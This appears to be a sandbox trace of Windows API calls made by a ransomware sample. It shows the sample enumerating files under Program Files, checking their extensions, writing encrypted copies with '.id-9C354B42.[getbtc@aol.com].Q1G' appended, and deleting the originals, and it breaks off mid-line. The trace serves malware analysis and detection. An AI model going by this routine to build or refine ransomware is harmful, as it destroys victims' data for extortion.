1 [0237.598] lstrlenW (lpString=".rar") returned 4 [0237.598] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0237.598] lstrlenW (lpString=".bz2") returned 4 [0237.599] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0237.599] lstrlenW (lpString=".7z") returned 3 [0237.599] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0237.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0237.599] lstrlenW (lpString=".dbf") returned 4 [0237.599] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0237.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0237.599] lstrlenW (lpString=".1cd") returned 4 [0237.599] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0237.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0237.599] lstrlenW (lpString=".jpg") returned 4 [0237.599] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0237.599] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0237.599] lstrlenW (lpString="tpcps.dll") returned 9 [0237.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0237.599] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=101376) returned 1 [0237.599] CloseHandle (hObject=0x338) returned 1 [0237.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0237.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0237.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0237.600] lstrlenW (lpString=".doc") returned 4 [0237.600] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0237.600] lstrlenW (lpString=".docx") returned 5 [0237.600] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0237.600] lstrlenW (lpString=".pdf") returned 4 [0237.600] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0237.600] lstrlenW (lpString=".xls") returned 4 [0237.600] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0237.600] lstrlenW (lpString=".xlsx") returned 5 [0237.600] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0237.600] lstrlenW (lpString=".ppt") returned 4 [0237.600] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0237.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0237.600] lstrlenW (lpString=".zip") returned 4 [0237.600] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0237.600] lstrlenW (lpString=".rar") returned 4 [0237.600] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0237.600] lstrlenW (lpString=".bz2") returned 4 [0237.600] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0237.600] lstrlenW (lpString=".7z") returned 3 [0237.600] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0237.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0237.608] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0237.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0237.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0237.625] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0237.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0237.627] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0237.631] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0237.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0237.637] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.249] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.320] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.325] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.325] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.326] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.326] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0239.876] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=7384) returned 1 [0239.876] CloseHandle (hObject=0x204) returned 1 [0239.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 0x20 [0241.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0241.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0241.894] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.894] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.994] GetLastError () returned 0x0 [0241.994] ReadFile (in: hFile=0x338, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x1cd8, lpOverlapped=0x0) returned 1 [0242.011] WriteFile (in: hFile=0x388, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x1ce0, lpOverlapped=0x0) returned 1 [0242.012] ReadFile (in: hFile=0x338, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.012] WriteFile (in: hFile=0x388, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0242.012] SetEndOfFile (hFile=0x388) returned 1 [0242.012] CloseHandle (hObject=0x388) returned 1 [0242.012] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.012] SetEndOfFile (hFile=0x338) returned 1 [0242.126] CloseHandle (hObject=0x338) returned 1 [0242.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0242.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0242.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0242.152] lstrlenW (lpString=".doc") returned 4 [0242.152] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.152] lstrlenW (lpString=".docx") returned 5 [0242.152] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.152] lstrlenW (lpString=".pdf") returned 4 [0242.152] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.152] lstrlenW (lpString=".xls") returned 4 [0242.152] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.152] lstrlenW (lpString=".xlsx") returned 5 [0242.152] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.152] lstrlenW (lpString=".ppt") returned 4 [0242.152] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0242.152] lstrlenW (lpString=".zip") returned 4 [0242.152] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.152] lstrlenW (lpString=".rar") returned 4 [0242.152] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.152] lstrlenW (lpString=".bz2") returned 4 [0242.152] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.152] lstrlenW (lpString=".7z") returned 3 [0242.152] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0242.152] lstrlenW (lpString=".dbf") returned 4 [0242.152] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0242.152] lstrlenW (lpString=".1cd") returned 4 [0242.152] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0242.152] lstrlenW (lpString=".jpg") returned 4 [0242.152] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0242.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0242.152] lstrlenW (lpString=".doc") returned 4 [0242.152] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.153] lstrlenW (lpString=".docx") returned 5 [0242.153] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.153] lstrlenW (lpString=".pdf") returned 4 [0242.153] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.153] lstrlenW (lpString=".xls") returned 4 [0242.153] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.153] lstrlenW (lpString=".xlsx") returned 5 [0242.153] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.153] lstrlenW (lpString=".ppt") returned 4 [0242.153] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0242.153] lstrlenW (lpString=".zip") returned 4 [0242.153] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.153] lstrlenW (lpString=".rar") returned 4 [0242.153] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.153] lstrlenW (lpString=".bz2") returned 4 [0242.153] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.153] lstrlenW (lpString=".7z") returned 3 [0242.153] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0242.153] lstrlenW (lpString=".dbf") returned 4 [0242.153] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0242.153] lstrlenW (lpString=".1cd") returned 4 [0242.153] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0242.153] lstrlenW (lpString=".jpg") returned 4 [0242.153] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.154] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.154] lstrlenW (lpString="FALL_01.MID") returned 11 [0242.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0242.200] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=4846) returned 1 [0242.200] CloseHandle (hObject=0x390) returned 1 [0242.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 0x20 [0242.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.383] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.383] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0242.384] GetLastError () returned 0x0 [0242.384] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x12ee, lpOverlapped=0x0) returned 1 [0242.386] WriteFile (in: hFile=0x39c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x12f0, lpOverlapped=0x0) returned 1 [0242.387] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.387] WriteFile (in: hFile=0x39c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0242.387] SetEndOfFile (hFile=0x39c) returned 1 [0242.387] CloseHandle (hObject=0x39c) returned 1 [0242.387] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.388] SetEndOfFile (hFile=0x200) returned 1 [0242.390] CloseHandle (hObject=0x200) returned 1 [0242.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0242.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0242.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0242.391] lstrlenW (lpString=".doc") returned 4 [0242.391] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.391] lstrlenW (lpString=".docx") returned 5 [0242.391] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.391] lstrlenW (lpString=".pdf") returned 4 [0242.391] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.391] lstrlenW (lpString=".xls") returned 4 [0242.392] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.392] lstrlenW (lpString=".xlsx") returned 5 [0242.392] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.392] lstrlenW (lpString=".ppt") returned 4 [0242.392] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0242.392] lstrlenW (lpString=".zip") returned 4 [0242.392] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.392] lstrlenW (lpString=".rar") returned 4 [0242.392] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.392] lstrlenW (lpString=".bz2") returned 4 [0242.392] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.392] lstrlenW (lpString=".7z") returned 3 [0242.392] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0242.392] lstrlenW (lpString=".dbf") returned 4 [0242.392] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0242.392] lstrlenW (lpString=".1cd") returned 4 [0242.392] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0242.392] lstrlenW (lpString=".jpg") returned 4 [0242.392] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0242.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0242.392] lstrlenW (lpString=".doc") returned 4 [0242.392] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.392] lstrlenW (lpString=".docx") returned 5 [0242.392] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.392] lstrlenW (lpString=".pdf") returned 4 [0242.392] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.392] lstrlenW (lpString=".xls") returned 4 [0242.392] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.392] lstrlenW (lpString=".xlsx") returned 5 [0242.393] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.393] lstrlenW (lpString=".ppt") returned 4 [0242.393] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0242.393] lstrlenW (lpString=".zip") returned 4 [0242.393] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.393] lstrlenW (lpString=".rar") returned 4 [0242.393] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.393] lstrlenW (lpString=".bz2") returned 4 [0242.393] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.393] lstrlenW (lpString=".7z") returned 3 [0242.393] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0242.393] lstrlenW (lpString=".dbf") returned 4 [0242.393] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0242.393] lstrlenW (lpString=".1cd") returned 4 [0242.393] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.393] lstrlenW (lpString="C:\\Program Files\\Microsoft 